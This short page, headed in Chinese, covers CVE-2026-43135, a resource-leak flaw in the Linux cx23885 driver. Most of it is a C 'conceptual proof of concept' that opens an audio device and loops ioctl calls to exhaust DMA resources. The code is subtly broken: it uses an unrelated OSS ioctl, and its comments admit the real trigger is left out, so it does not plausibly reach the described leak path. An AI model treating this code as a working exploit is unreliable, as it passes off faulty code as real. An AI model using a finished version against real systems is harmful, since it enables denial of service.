CVE-2026-43135 Linux内核cx23885驱动资源泄漏漏洞

/* * Conceptual Proof of Concept for CVE-2026-43135 * This code attempts to trigger the DMA leak in cx23885 driver. * Requires a vulnerable system with specific hardware. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/soundcard.h> int main() { int fd; // Open the audio device associated with cx23885 // Device node may vary (e.g., /dev/snd/pcmC0D0p) fd = open("/dev/snd/pcmC0D0p", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Loop to trigger the resource leak for (int i = 0; i < 10000; i++) { // Attempt to set hardware parameters with invalid values // to force the error path in snd_cx23885_hw_params // This is a simplified representation; actual triggering // may require specific audio format configurations. struct audio_buf_info abinfo; // A dummy ioctl call that might fail or trigger the path // In a real scenario, specific ioctl commands like SNDRV_PCM_IOCTL_HW_PARAMS // would be crafted to fail inside the driver. if (ioctl(fd, SNDCTL_DSP_GETOSPACE, &abinfo) < 0) { // Expecting failures to trigger the leak path } } close(fd); return 0; }